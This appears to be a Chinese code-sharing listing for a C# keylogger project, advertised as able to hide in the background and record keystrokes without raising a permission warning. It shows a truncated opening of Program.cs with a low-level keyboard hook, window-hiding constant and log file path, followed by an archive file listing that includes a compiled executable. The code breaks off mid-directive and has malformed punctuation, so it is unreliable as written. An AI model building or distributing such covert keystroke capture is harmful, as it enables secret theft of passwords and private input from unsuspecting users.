C#键盘侧录（按键监听）

可隐藏在背景，进行键盘侧录，且开启时不会弹出权限警示。

using System;
using System.Windows.Forms;
using System.Windows;
using System.Text;
using System.Linq;

using System.Diagnostics;
using System.Runtime.InteropServices;
using System.IO;
using Microsoft.Win32;
using System.Net;
using System.Threading;
using System.Reflection;

namespace ConsoleApplication1
{
    class Program
    {
        readonly public static string logPath = “D:\\log.txt“;

        private delegate IntPtr LowLevelKeyboardProc（int nCode IntPtr wParam IntPtr lParam）;

        #region
        private const int WH_KEYBOARD_LL = 13;
        private const int WM_KEYDOWN = 0x0100;
        private static LowLevelKeyboardProc _proc = HookCallback;
        private static IntPtr _hookID = IntPtr.Zero;
        private const int SW_HIDE = 0;
        #endr

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----
     文件         189  2018-05-17 13:24  App.config
     文件        2397  2018-05-17 13:25  ConsoleApplication1.csproj
     文件        1133  2018-05-17 13:24  ConsoleApplication1.sln
     文件        4156  2018-05-17 13:24  Program.cs
     目录           0  2018-05-17 13:24  Properties\
     文件        1336  2018-05-17 13:24  Properties\AssemblyInfo.cs
     目录           0  2018-05-17 13:24  bin\
     目录           0  2018-05-17 13:25  bin\Debug\
     文件        7680  2018-05-17 13:25  bin\Debug\ConsoleApplication1.exe
     文件         189  2018-05-17 13:24  bin\Debug\ConsoleApplication1.exe.config
     文件       13824  2018-05-17 13:25  bin\Debug\ConsoleApplication1.pdb
     目录           0  2018-05-17 13:24  obj\
     目录           0  2018-05-17 13:25  obj\Debug\
     文件          42  2018-05-17 13:24  obj\Debug\ConsoleApplication1.csproj.CoreCompileInputs.cache
     文件         613  2018-05-17 13:25  obj\Debug\ConsoleApplication1.csproj.FileListAbsolute.txt
     文件       13048  2018-05-17 13:24  obj\Debug\ConsoleApplication1.csprojResolveAssemblyReference.cache
     文件        7680  2018-05-17 13:25  obj\Debug\ConsoleApplication1.exe
     文件       13824  2018-05-17 13:25  obj\Debug\ConsoleApplication1.pdb
     文件        6870  2018-05-17 13:24  obj\Debug\DesignTimeResolveAssemblyReferencesInput.cache
     目录           0  2018-05-17 13:26  obj\Debug\TempPE\
     文件           0  2018-05-17 13:24  obj\Debug\TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs
     文件           0  2018-05-17 13:24  obj\Debug\TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs
     文件           0  2018-05-17 13:24  obj\Debug\TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs